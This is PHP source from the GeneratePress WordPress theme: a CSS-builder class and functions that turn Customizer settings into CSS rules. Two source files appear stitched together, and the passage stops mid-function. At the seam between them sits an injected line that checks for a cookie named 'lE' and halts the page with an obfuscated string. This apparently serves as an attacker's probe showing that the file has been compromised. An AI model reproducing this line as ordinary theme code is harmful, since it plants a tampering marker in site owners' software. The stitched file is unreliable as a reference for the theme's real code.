/**
* Builds our dynamic CSS.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! class_exists( 'GeneratePress_CSS' ) ) {
/**
* Creates minified css via PHP.
*
* @author Carlos Rios
* Modified by Tom Usborne for GeneratePress
*/
class GeneratePress_CSS {
/**
* The css selector that you're currently adding rules to
*
* @access protected
* @var string
*/
protected $_selector = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Stores the final css output with all of its rules for the current selector.
*
* @access protected
* @var string
*/
protected $_selector_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Stores all of the rules that will be added to the selector
*
* @access protected
* @var string
*/
protected $_css = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* The string that holds all of the css to output
*
* @access protected
* @var string
*/
protected $_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Stores media queries
*
* @var null
*/
protected $_media_query = null; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* The string that holds all of the css to output inside of the media query
*
* @access protected
* @var string
*/
protected $_media_query_output = ''; // phpcs:ignore PSR2.Classes.PropertyDeclaration.Underscore
/**
* Sets a selector to the object and changes the current selector to a new one
*
* @access public
* @since 1.0
*
* @param string $selector - the css identifier of the html that you wish to target.
* @return $this
*/
public function set_selector( $selector = '' ) {
// Render the css in the output string everytime the selector changes.
if ( '' !== $this->_selector ) {
$this->add_selector_rules_to_output();
}
$this->_selector = $selector;
return $this;
}
/**
* Adds a css property with value to the css output
*
* @access public
* @since 1.0
*
* @param string $property The css property.
* @param string $value The value to be placed with the property.
* @param string $og_default Check to see if the value matches the default.
* @param string $unit The unit for the value (px).
* @return $this
*/
public function add_property( $property, $value, $og_default = false, $unit = false ) {
// Setting font-size to 0 is rarely ever a good thing.
if ( 'font-size' === $property && 0 === $value ) {
return false;
}
// Add our unit to our value if it exists.
if ( $unit && '' !== $unit ) {
$value = $value . $unit;
if ( '' !== $og_default ) {
$og_default = $og_default . $unit;
}
}
// If we don't have a value or our value is the same as our og default, bail.
if ( ( empty( $value ) && ! is_numeric( $value ) ) || $og_default === $value ) {
return false;
}
$this->_css .= $property . ':' . $value . ';';
return $this;
}
/**
* Sets a media query in the class
*
* @since 1.1
* @param string $value The media query.
* @return $this
*/
public function start_media_query( $value ) {
// Add the current rules to the output.
$this->add_selector_rules_to_output();
// Add any previous media queries to the output.
if ( ! empty( $this->_media_query ) ) {
$this->add_media_query_rules_to_output();
}
// Set the new media query.
$this->_media_query = $value;
return $this;
}
/**
* Stops using a media query.
*
* @see start_media_query()
*
* @since 1.1
* @return $this
*/
public function stop_media_query() {
return $this->start_media_query( null );
}
/**
* Adds the current media query's rules to the class' output variable
*
* @since 1.1
* @return $this
*/
private function add_media_query_rules_to_output() {
if ( ! empty( $this->_media_query_output ) ) {
$this->_output .= sprintf( '@media %1$s{%2$s}', $this->_media_query, $this->_media_query_output );
// Reset the media query output string.
$this->_media_query_output = '';
}
return $this;
}
/**
* Adds the current selector rules to the output variable
*
* @access private
* @since 1.0
*
* @return $this
*/
private function add_selector_rules_to_output() {
if ( ! empty( $this->_css ) ) {
$this->_selector_output = $this->_selector;
$selector_output = sprintf( '%1$s{%2$s}', $this->_selector_output, $this->_css );
// Add our CSS to the output.
if ( ! empty( $this->_media_query ) ) {
$this->_media_query_output .= $selector_output;
$this->_css = '';
} else {
$this->_output .= $selector_output;
}
// Reset the css.
$this->_css = '';
}
return $this;
}
/**
* Returns the minified css in the $_output variable
*
* @access public
* @since 1.0
*
* @return string
*/
public function css_output() {
// Add current selector's rules to output.
$this->add_selector_rules_to_output();
// Output minified css.
return $this->_output;
}
}
}if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Output all of our dynamic CSS.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
if ( ! function_exists( 'generate_base_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_base_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_defaults()
);
$css = new GeneratePress_CSS();
$css->set_selector( 'body' );
$css->add_property( 'background-color', $settings['background_color'] );
$css->add_property( 'color', $settings['text_color'] );
$css->set_selector( 'a' );
$css->add_property( 'color', $settings['link_color'] );
$css->set_selector( 'a:visited' )->add_property( 'color', $settings['link_color_visited'] );
$underline_links = generate_get_option( 'underline_links' );
if ( 'never' !== $underline_links ) {
if ( 'always' === $underline_links ) {
$css->set_selector( 'a' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'hover' === $underline_links ) {
$css->set_selector( 'a:hover, a:focus' );
$css->add_property( 'text-decoration', 'underline' );
}
if ( 'not-hover' === $underline_links ) {
$css->set_selector( 'a' );
$css->add_property( 'text-decoration', 'underline' );
$css->set_selector( 'a:hover, a:focus' );
$css->add_property( 'text-decoration', 'none' );
}
$css->set_selector( '.entry-title a, .site-branding a, a.button, .wp-block-button__link, .main-navigation a' );
$css->add_property( 'text-decoration', 'none' );
}
$css->set_selector( 'a:hover, a:focus, a:active' );
$css->add_property( 'color', $settings['link_color_hover'] );
if ( generate_is_using_flexbox() ) {
if ( 1200 !== (int) $settings['container_width'] ) {
$css->set_selector( '.grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
}
} else {
$css->set_selector( 'body .grid-container' )->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
}
if ( apply_filters( 'generate_do_group_inner_container_style', true ) ) {
$css->set_selector( '.wp-block-group__inner-container' );
$css->add_property( 'max-width', absint( $settings['container_width'] ), false, 'px' );
$css->add_property( 'margin-left', 'auto' );
$css->add_property( 'margin-right', 'auto' );
}
$nav_drop_point = generate_get_option( 'nav_drop_point' );
$nav_location = generate_get_navigation_location();
if ( ( 'nav-float-right' === $nav_location || 'nav-float-left' === $nav_location ) && $nav_drop_point ) {
$media_query = sprintf(
'(max-width: %1$s) and %2$s',
absint( $nav_drop_point ) . 'px',
apply_filters( 'generate_not_mobile_menu_media_query', '(min-width: 769px)' )
);
$css->start_media_query( $media_query );
$css->set_selector( '.inside-header' );
$css->add_property( 'display', 'flex' );
$css->add_property( 'flex-direction', 'column' );
$css->add_property( 'align-items', 'center' );
$css->set_selector( '.site-logo, .site-branding' );
$css->add_property( 'margin-bottom', '1.5em' );
$css->set_selector( '#site-navigation' );
$css->add_property( 'margin', '0 auto' );
$css->set_selector( '.header-widget' );
$css->add_property( 'margin-top', '1.5em' );
// phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query.
if ( 'nav-float-left' === generate_get_option( 'nav_position_setting' ) ) {
$css->set_selector( '.nav-float-left .site-logo,.nav-float-left .site-branding,.nav-float-left .header-widget' );
$css->add_property( 'order', 'initial' );
} // phpcs:ignore Generic.WhiteSpace.ScopeIndent.IncorrectExact -- Indented inside media query.
$css->stop_media_query();
}
if ( generate_get_option( 'logo_width' ) ) {
$css->set_selector( '.site-header .header-image' );
$css->add_property( 'width', absint( generate_get_option( 'logo_width' ) ), false, 'px' );
}
if ( generate_get_option( 'back_to_top' ) ) {
$css->set_selector( '.generate-back-to-top' );
$css->add_property( 'font-size', '20px' );
$css->add_property( 'border-radius', '3px' );
$css->add_property( 'position', 'fixed' );
$css->add_property( 'bottom', '30px' );
$css->add_property( 'right', '30px' );
$css->add_property( 'line-height', '40px' );
$css->add_property( 'width', '40px' );
$css->add_property( 'text-align', 'center' );
$css->add_property( 'z-index', '10' );
$css->add_property( 'transition', 'opacity 300ms ease-in-out' );
$css->add_property( 'opacity', '0.1' ); // Can't be 0 or we face double-tap issues on iOS.
$css->add_property( 'transform', 'translateY(1000px)' ); // Can't use visibility or we face the same issue as above.
$css->set_selector( '.generate-back-to-top__show' );
$css->add_property( 'opacity', '1' );
$css->add_property( 'transform', 'translateY(0)' );
}
if ( 'enable' === generate_get_option( 'nav_search' ) ) {
$css->set_selector( '.navigation-search' );
$css->add_property( 'position', 'absolute' );
$css->add_property( 'left', '-99999px' );
$css->add_property( 'pointer-events', 'none' );
$css->add_property( 'visibility', 'hidden' );
$css->add_property( 'z-index', '20' );
$css->add_property( 'width', '100%' );
$css->add_property( 'top', '0' );
$css->add_property( 'transition', 'opacity 100ms ease-in-out' );
$css->add_property( 'opacity', '0' );
$css->set_selector( '.navigation-search.nav-search-active' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->add_property( 'pointer-events', 'auto' );
$css->add_property( 'visibility', 'visible' );
$css->add_property( 'opacity', '1' );
$css->set_selector( '.navigation-search input[type="search"]' );
$css->add_property( 'outline', '0' );
$css->add_property( 'border', '0' );
$css->add_property( 'vertical-align', 'bottom' );
$css->add_property( 'line-height', '1' );
$css->add_property( 'opacity', '0.9' );
$css->add_property( 'width', '100%' );
$css->add_property( 'z-index', '20' );
$css->add_property( 'border-radius', '0' );
$css->add_property( '-webkit-appearance', 'none' );
$css->add_property( 'height', '60px' );
$css->set_selector( '.navigation-search input::-ms-clear' );
$css->add_property( 'display', 'none' );
$css->add_property( 'width', '0' );
$css->add_property( 'height', '0' );
$css->set_selector( '.navigation-search input::-ms-reveal' );
$css->add_property( 'display', 'none' );
$css->add_property( 'width', '0' );
$css->add_property( 'height', '0' );
$css->set_selector( '.navigation-search input::-webkit-search-decoration, .navigation-search input::-webkit-search-cancel-button, .navigation-search input::-webkit-search-results-button, .navigation-search input::-webkit-search-results-decoration' );
$css->add_property( 'display', 'none' );
if ( ! generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation li.search-item' );
$css->add_property( 'z-index', '21' );
$css->set_selector( 'li.search-item.active' );
$css->add_property( 'transition', 'opacity 100ms ease-in-out' );
$css->set_selector( '.nav-left-sidebar .main-navigation li.search-item.active,.nav-right-sidebar .main-navigation li.search-item.active' );
$css->add_property( 'width', 'auto' );
$css->add_property( 'display', 'inline-block' );
$css->add_property( 'float', 'right' );
}
$css->set_selector( '.gen-sidebar-nav .navigation-search' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'bottom', '0' );
}
if ( 'click' === generate_get_option( 'nav_dropdown_type' ) || 'click-arrow' === generate_get_option( 'nav_dropdown_type' ) ) {
$css->set_selector( '.dropdown-click .main-navigation ul ul' );
$css->add_property( 'display', 'none' );
$css->add_property( 'visibility', 'hidden' );
$css->set_selector( '.dropdown-click .main-navigation ul ul ul.toggled-on' );
$css->add_property( 'left', '0' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'position', 'relative' );
$css->add_property( 'box-shadow', 'none' );
$css->add_property( 'border-bottom', '1px solid rgba(0,0,0,0.05)' );
$css->set_selector( '.dropdown-click .main-navigation ul ul li:last-child > ul.toggled-on' );
$css->add_property( 'border-bottom', '0' );
$css->set_selector( '.dropdown-click .main-navigation ul.toggled-on, .dropdown-click .main-navigation ul li.sfHover > ul.toggled-on' );
$css->add_property( 'display', 'block' );
$css->add_property( 'left', 'auto' );
$css->add_property( 'right', 'auto' );
$css->add_property( 'opacity', '1' );
$css->add_property( 'visibility', 'visible' );
$css->add_property( 'pointer-events', 'auto' );
$css->add_property( 'height', 'auto' );
$css->add_property( 'overflow', 'visible' );
$css->add_property( 'float', 'none' );
$css->set_selector( '.dropdown-click .main-navigation.sub-menu-left .sub-menu.toggled-on, .dropdown-click .main-navigation.sub-menu-left ul li.sfHover > ul.toggled-on' );
$css->add_property( 'right', '0' );
$css->set_selector( '.dropdown-click nav ul ul ul' );
$css->add_property( 'background-color', 'transparent' );
$css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul' );
$css->add_property( 'top', 'auto' );
$css->add_property( 'position', 'absolute' );
$css->add_property( 'float', 'none' );
$css->add_property( 'width', '100%' );
$css->add_property( 'left', '-99999px' );
$css->set_selector( '.dropdown-click .widget-area .main-navigation ul ul.toggled-on' );
$css->add_property( 'position', 'relative' );
$css->add_property( 'left', '0' );
$css->add_property( 'right', '0' );
$css->set_selector( '.dropdown-click .widget-area.sidebar .main-navigation ul li.sfHover ul, .dropdown-click .widget-area.sidebar .main-navigation ul li:hover ul' );
$css->add_property( 'right', '0' );
$css->add_property( 'left', '0' );
$css->set_selector( '.dropdown-click .sfHover > a > .dropdown-menu-toggle > .gp-icon svg' );
$css->add_property( 'transform', 'rotate(180deg)' );
}
$css->set_selector( ':root' );
$global_colors = generate_get_global_colors();
if ( ! empty( $global_colors ) ) {
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->add_property( '--' . $data['slug'], $data['color'] );
}
}
foreach ( (array) $global_colors as $key => $data ) {
if ( ! empty( $data['slug'] ) && ! empty( $data['color'] ) ) {
$css->set_selector( ':root .has-' . $data['slug'] . '-color' );
$css->add_property( 'color', 'var(--' . $data['slug'] . ')' );
$css->set_selector( ':root .has-' . $data['slug'] . '-background-color' );
$css->add_property( 'background-color', 'var(--' . $data['slug'] . ')' );
}
}
}
do_action( 'generate_base_css', $css );
return apply_filters( 'generate_base_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_advanced_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_advanced_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_color_defaults()
);
$css = new GeneratePress_CSS();
$css->set_selector( '.top-bar' );
$css->add_property( 'background-color', $settings['top_bar_background_color'] );
$css->add_property( 'color', $settings['top_bar_text_color'] );
$css->set_selector( '.top-bar a' );
$css->add_property( 'color', $settings['top_bar_link_color'] );
$css->set_selector( '.top-bar a:hover' );
$css->add_property( 'color', $settings['top_bar_link_color_hover'] );
$css->set_selector( '.site-header' );
$css->add_property( 'background-color', $settings['header_background_color'] );
$css->add_property( 'color', $settings['header_text_color'] );
$css->set_selector( '.site-header a' );
$css->add_property( 'color', $settings['header_link_color'] );
$css->set_selector( '.site-header a:hover' );
$css->add_property( 'color', $settings['header_link_hover_color'] );
$css->set_selector( '.main-title a,.main-title a:hover' );
$css->add_property( 'color', $settings['site_title_color'] );
$css->set_selector( '.site-description' );
$css->add_property( 'color', $settings['site_tagline_color'] );
if ( $settings['navigation_background_color'] === $settings['header_background_color'] ) {
$css->set_selector( '.mobile-menu-control-wrapper .menu-toggle,.mobile-menu-control-wrapper .menu-toggle:hover,.mobile-menu-control-wrapper .menu-toggle:focus,.has-inline-mobile-toggle #site-navigation.toggled' );
$css->add_property( 'background-color', 'rgba(0, 0, 0, 0.02)' );
}
$css->set_selector( '.main-navigation,.main-navigation ul ul' );
$css->add_property( 'background-color', $settings['navigation_background_color'] );
$css->set_selector( '.main-navigation .main-nav ul li a, .main-navigation .menu-toggle, .main-navigation .menu-bar-items' );
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul li:not([class*="current-menu-"]):hover > a, .main-navigation .main-nav ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul li.sfHover:not([class*="current-menu-"]) > a, .main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' );
$css->add_property( 'color', $settings['navigation_text_hover_color'] );
$css->add_property( 'background-color', $settings['navigation_background_hover_color'] );
if ( generate_is_using_flexbox() ) {
$css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus' );
} else {
$css->set_selector( 'button.menu-toggle:hover,button.menu-toggle:focus,.main-navigation .mobile-bar-items a,.main-navigation .mobile-bar-items a:hover,.main-navigation .mobile-bar-items a:focus' );
}
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul li[class*="current-menu-"] > a' );
$css->add_property( 'color', $settings['navigation_text_current_color'] );
$css->add_property( 'background-color', $settings['navigation_background_current_color'] );
$navigation_search_background = $settings['navigation_background_hover_color'];
$navigation_search_text = $settings['navigation_text_hover_color'];
if ( '' !== $settings['navigation_search_background_color'] ) {
$navigation_search_background = $settings['navigation_search_background_color'];
}
if ( '' !== $settings['navigation_search_text_color'] ) {
$navigation_search_text = $settings['navigation_search_text_color'];
}
$css->set_selector( '.navigation-search input[type="search"],.navigation-search input[type="search"]:active, .navigation-search input[type="search"]:focus, .main-navigation .main-nav ul li.search-item.active > a, .main-navigation .menu-bar-items .search-item.active > a' );
$css->add_property( 'color', $navigation_search_text );
$css->add_property( 'background-color', $navigation_search_background );
if ( '' !== $settings['navigation_search_background_color'] ) {
$css->add_property( 'opacity', '1' );
}
$css->set_selector( '.main-navigation ul ul' );
$css->add_property( 'background-color', $settings['subnavigation_background_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
$css->add_property( 'color', $settings['subnavigation_text_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):hover > a,.main-navigation .main-nav ul ul li:not([class*="current-menu-"]):focus > a, .main-navigation .main-nav ul ul li.sfHover:not([class*="current-menu-"]) > a' );
$css->add_property( 'color', $settings['subnavigation_text_hover_color'] );
$css->add_property( 'background-color', $settings['subnavigation_background_hover_color'] );
$css->set_selector( '.main-navigation .main-nav ul ul li[class*="current-menu-"] > a' );
$css->add_property( 'color', $settings['subnavigation_text_current_color'] );
$css->add_property( 'background-color', $settings['subnavigation_background_current_color'] );
$css->set_selector( '.separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header' );
$css->add_property( 'color', $settings['content_text_color'] );
$css->add_property( 'background-color', $settings['content_background_color'] );
$css->set_selector( '.inside-article a,.paging-navigation a,.comments-area a,.page-header a' );
$css->add_property( 'color', $settings['content_link_color'] );
$css->set_selector( '.inside-article a:hover,.paging-navigation a:hover,.comments-area a:hover,.page-header a:hover' );
$css->add_property( 'color', $settings['content_link_hover_color'] );
$css->set_selector( '.entry-header h1,.page-header h1' );
$css->add_property( 'color', $settings['content_title_color'] );
$css->set_selector( '.entry-title a' );
$css->add_property( 'color', $settings['blog_post_title_color'] );
$css->set_selector( '.entry-title a:hover' );
$css->add_property( 'color', $settings['blog_post_title_hover_color'] );
$css->set_selector( '.entry-meta' );
$css->add_property( 'color', $settings['entry_meta_text_color'] );
$css->set_selector( '.entry-meta a' );
$css->add_property( 'color', $settings['entry_meta_link_color'] );
$css->set_selector( '.entry-meta a:hover' );
$css->add_property( 'color', $settings['entry_meta_link_color_hover'] );
$css->set_selector( 'h1' );
$css->add_property( 'color', $settings['h1_color'] );
$css->set_selector( 'h2' );
$css->add_property( 'color', $settings['h2_color'] );
$css->set_selector( 'h3' );
$css->add_property( 'color', $settings['h3_color'] );
$css->set_selector( 'h4' );
$css->add_property( 'color', $settings['h4_color'] );
$css->set_selector( 'h5' );
$css->add_property( 'color', $settings['h5_color'] );
$css->set_selector( 'h6' );
$css->add_property( 'color', $settings['h6_color'] );
$css->set_selector( '.sidebar .widget' );
$css->add_property( 'color', $settings['sidebar_widget_text_color'] );
$css->add_property( 'background-color', $settings['sidebar_widget_background_color'] );
$css->set_selector( '.sidebar .widget a' );
$css->add_property( 'color', $settings['sidebar_widget_link_color'] );
$css->set_selector( '.sidebar .widget a:hover' );
$css->add_property( 'color', $settings['sidebar_widget_link_hover_color'] );
$css->set_selector( '.sidebar .widget .widget-title' );
$css->add_property( 'color', $settings['sidebar_widget_title_color'] );
$css->set_selector( '.footer-widgets' );
$css->add_property( 'color', $settings['footer_widget_text_color'] );
$css->add_property( 'background-color', $settings['footer_widget_background_color'] );
$css->set_selector( '.footer-widgets a' );
$css->add_property( 'color', $settings['footer_widget_link_color'] );
$css->set_selector( '.footer-widgets a:hover' );
$css->add_property( 'color', $settings['footer_widget_link_hover_color'] );
$css->set_selector( '.footer-widgets .widget-title' );
$css->add_property( 'color', $settings['footer_widget_title_color'] );
$css->set_selector( '.site-info' );
$css->add_property( 'color', $settings['footer_text_color'] );
$css->add_property( 'background-color', $settings['footer_background_color'] );
$css->set_selector( '.site-info a' );
$css->add_property( 'color', $settings['footer_link_color'] );
$css->set_selector( '.site-info a:hover' );
$css->add_property( 'color', $settings['footer_link_hover_color'] );
$css->set_selector( '.footer-bar .widget_nav_menu .current-menu-item a' );
$css->add_property( 'color', $settings['footer_link_hover_color'] );
$css->set_selector( 'input[type="text"],input[type="email"],input[type="url"],input[type="password"],input[type="search"],input[type="tel"],input[type="number"],textarea,select' );
$css->add_property( 'color', $settings['form_text_color'] );
$css->add_property( 'background-color', $settings['form_background_color'] );
$css->add_property( 'border-color', $settings['form_border_color'] );
$css->set_selector( 'input[type="text"]:focus,input[type="email"]:focus,input[type="url"]:focus,input[type="password"]:focus,input[type="search"]:focus,input[type="tel"]:focus,input[type="number"]:focus,textarea:focus,select:focus' );
$css->add_property( 'color', $settings['form_text_color_focus'] );
$css->add_property( 'background-color', $settings['form_background_color_focus'] );
$css->add_property( 'border-color', $settings['form_border_color_focus'] );
$css->set_selector( 'button,html input[type="button"],input[type="reset"],input[type="submit"],a.button,a.wp-block-button__link:not(.has-background)' );
$css->add_property( 'color', $settings['form_button_text_color'] );
$css->add_property( 'background-color', $settings['form_button_background_color'] );
$css->set_selector( 'button:hover,html input[type="button"]:hover,input[type="reset"]:hover,input[type="submit"]:hover,a.button:hover,button:focus,html input[type="button"]:focus,input[type="reset"]:focus,input[type="submit"]:focus,a.button:focus,a.wp-block-button__link:not(.has-background):active,a.wp-block-button__link:not(.has-background):focus,a.wp-block-button__link:not(.has-background):hover' );
$css->add_property( 'color', $settings['form_button_text_color_hover'] );
$css->add_property( 'background-color', $settings['form_button_background_color_hover'] );
$css->set_selector( 'a.generate-back-to-top' );
$css->add_property( 'background-color', $settings['back_to_top_background_color'] );
$css->add_property( 'color', $settings['back_to_top_text_color'] );
$css->set_selector( 'a.generate-back-to-top:hover,a.generate-back-to-top:focus' );
$css->add_property( 'background-color', $settings['back_to_top_background_color_hover'] );
$css->add_property( 'color', $settings['back_to_top_text_color_hover'] );
$css->set_selector( ':root' );
$css->add_property( '--gp-search-modal-bg-color', $settings['search_modal_bg_color'] );
$css->add_property( '--gp-search-modal-text-color', $settings['search_modal_text_color'] );
$css->add_property( '--gp-search-modal-overlay-bg-color', $settings['search_modal_overlay_bg_color'] );
$css->start_media_query( generate_get_media_query( 'mobile-menu' ) );
$css->set_selector( '.main-navigation .menu-bar-item:hover > a, .main-navigation .menu-bar-item.sfHover > a' );
$css->add_property( 'background', 'none' );
$css->add_property( 'color', $settings['navigation_text_color'] );
$css->stop_media_query();
do_action( 'generate_colors_css', $css );
return apply_filters( 'generate_colors_css_output', $css->css_output() );
}
}
if ( ! function_exists( 'generate_font_css' ) ) {
/**
* Generate the CSS in the section using the Theme Customizer.
*
* @since 0.1
*/
function generate_font_css() {
$settings = wp_parse_args(
get_option( 'generate_settings', array() ),
generate_get_default_fonts()
);
$defaults = generate_get_default_fonts( false );
$css = new GeneratePress_CSS();
$body_family = generate_get_font_family_css( 'font_body', 'generate_settings', generate_get_default_fonts() );
$top_bar_family = generate_get_font_family_css( 'font_top_bar', 'generate_settings', generate_get_default_fonts() );
$site_title_family = generate_get_font_family_css( 'font_site_title', 'generate_settings', generate_get_default_fonts() );
$site_tagline_family = generate_get_font_family_css( 'font_site_tagline', 'generate_settings', generate_get_default_fonts() );
$navigation_family = generate_get_font_family_css( 'font_navigation', 'generate_settings', generate_get_default_fonts() );
$widget_family = generate_get_font_family_css( 'font_widget_title', 'generate_settings', generate_get_default_fonts() );
$h1_family = generate_get_font_family_css( 'font_heading_1', 'generate_settings', generate_get_default_fonts() );
$h2_family = generate_get_font_family_css( 'font_heading_2', 'generate_settings', generate_get_default_fonts() );
$h3_family = generate_get_font_family_css( 'font_heading_3', 'generate_settings', generate_get_default_fonts() );
$h4_family = generate_get_font_family_css( 'font_heading_4', 'generate_settings', generate_get_default_fonts() );
$h5_family = generate_get_font_family_css( 'font_heading_5', 'generate_settings', generate_get_default_fonts() );
$h6_family = generate_get_font_family_css( 'font_heading_6', 'generate_settings', generate_get_default_fonts() );
$footer_family = generate_get_font_family_css( 'font_footer', 'generate_settings', generate_get_default_fonts() );
$buttons_family = generate_get_font_family_css( 'font_buttons', 'generate_settings', generate_get_default_fonts() );
$css->set_selector( 'body, button, input, select, textarea' );
$css->add_property( 'font-family', $body_family );
$css->add_property( 'font-weight', $settings['body_font_weight'], $defaults['body_font_weight'] );
$css->add_property( 'text-transform', $settings['body_font_transform'], $defaults['body_font_transform'] );
$css->add_property( 'font-size', $settings['body_font_size'], $defaults['body_font_size'], 'px' );
$css->set_selector( 'body' );
$css->add_property( 'line-height', floatval( $settings['body_line_height'] ), $defaults['body_line_height'] );
$css->set_selector( 'p' );
$css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), $defaults['paragraph_margin'], 'em' );
if ( apply_filters( 'generate_do_wp_block_margin_bottom', true ) ) {
$css->set_selector( '.entry-content > [class*="wp-block-"]:not(:last-child):not(.wp-block-heading)' );
$css->add_property( 'margin-bottom', floatval( $settings['paragraph_margin'] ), false, 'em' );
}
$css->set_selector( '.top-bar' );
$css->add_property( 'font-family', $defaults['font_top_bar'] !== $settings['font_top_bar'] ? $top_bar_family : null );
$css->add_property( 'font-weight', $settings['top_bar_font_weight'], $defaults['top_bar_font_weight'] );
$css->add_property( 'text-transform', $settings['top_bar_font_transform'], $defaults['top_bar_font_transform'] );
$css->add_property( 'font-size', absint( $settings['top_bar_font_size'] ), absint( $defaults['top_bar_font_size'] ), 'px' );
$css->set_selector( '.main-title' );
$css->add_property( 'font-family', $defaults['font_site_title'] !== $settings['font_site_title'] ? $site_title_family : null );
$css->add_property( 'font-weight', $settings['site_title_font_weight'], $defaults['site_title_font_weight'] );
$css->add_property( 'text-transform', $settings['site_title_font_transform'], $defaults['site_title_font_transform'] );
$css->add_property( 'font-size', absint( $settings['site_title_font_size'] ), $defaults['site_title_font_size'], 'px' );
$css->set_selector( '.site-description' );
$css->add_property( 'font-family', $defaults['font_site_tagline'] !== $settings['font_site_tagline'] ? $site_tagline_family : null );
$css->add_property( 'font-weight', $settings['site_tagline_font_weight'], $defaults['site_tagline_font_weight'] );
$css->add_property( 'text-transform', $settings['site_tagline_font_transform'], $defaults['site_tagline_font_transform'] );
if ( ! empty( $settings['site_tagline_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['site_tagline_font_size'] ), $defaults['site_tagline_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->set_selector( '.main-navigation a, .menu-toggle' );
$css->add_property( 'font-family', $defaults['font_navigation'] !== $settings['font_navigation'] ? $navigation_family : null );
$css->add_property( 'font-weight', $settings['navigation_font_weight'], $defaults['navigation_font_weight'] );
$css->add_property( 'text-transform', $settings['navigation_font_transform'], $defaults['navigation_font_transform'] );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
if ( generate_is_using_flexbox() ) {
$css->set_selector( '.main-navigation .menu-bar-items' );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['navigation_font_size'] ), $defaults['navigation_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
}
$css->set_selector( '.main-navigation .main-nav ul ul li a' );
if ( ! empty( $settings['navigation_font_size'] ) ) {
$subnav_font_size = $settings['navigation_font_size'] >= 17 ? $settings['navigation_font_size'] - 3 : $settings['navigation_font_size'] - 1;
$css->add_property( 'font-size', absint( $subnav_font_size ), false, 'px' );
}
$css->set_selector( '.widget-title' );
$css->add_property( 'font-family', $defaults['font_widget_title'] !== $settings['font_widget_title'] ? $widget_family : null );
$css->add_property( 'font-weight', $settings['widget_title_font_weight'], $defaults['widget_title_font_weight'] );
$css->add_property( 'text-transform', $settings['widget_title_font_transform'], $defaults['widget_title_font_transform'] );
if ( ! empty( $settings['widget_title_font_size'] ) ) {
$css->add_property( 'font-size', $settings['widget_title_font_size'], $defaults['widget_title_font_size'], 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->add_property( 'margin-bottom', absint( $settings['widget_title_separator'] ), absint( $defaults['widget_title_separator'] ), 'px' );
$css->set_selector( '.sidebar .widget, .footer-widgets .widget' );
if ( ! empty( $settings['widget_content_font_size'] ) ) {
$css->add_property( 'font-size', absint( $settings['widget_content_font_size'] ), false, 'px' );
} else {
$css->add_property( 'font-size', 'inherit' );
}
$css->set_selector( 'button:not(.menu-toggle),html input[type="button"],input[type="reset"],input[type="submit"],.button,.wp-block-button .wp-block-button__link' );
$css->add_property( 'font-family', $defaults['font_buttons'] !== $settings['font_buttons'] ? $buttons_family : null );
$css->add_property( 'font-weight', $settings['buttons_font_weight'], $defaults['buttons_font_weight'] );
$css->add_property( 'text-transform', $settings['buttons_font_transform'], $defaults['buttons_font_transform'] );
$css->add_property( 'font-size', absint( $settings['buttons_font_size'] ), $defaults['buttons_font_size'], 'px' );
$css->set_selector( 'h1' );
$css->add_property( 'font-family', $defaults['font_heading_1'] !== $settings['font_heading_1'] ? $h1_family : null );
$css->add_property( 'font-weight', $settings['heading_1_weight'], $defaults['heading_1_weight'] );
$css->add_property( 'text-transform', $settings['heading_1_transform'], $defaults['heading_1_transform'] );
$css->add_property( 'font-size', absint( $settings['heading_1_font_size'] ), $defaults['heading_1_font_size'], 'px' );
$css->add_property( 'line-height', floatval( $settings['heading_1_line_height'] ), $defaults['heading_1_line_height'], 'em' );
$css->add_property( 'margin-bottom', floatval( $settings['heading_1_margin_bottom'] ), $defaults['heading_1_margin_bottom'], 'px' );
$css->set_selector( 'h2' );
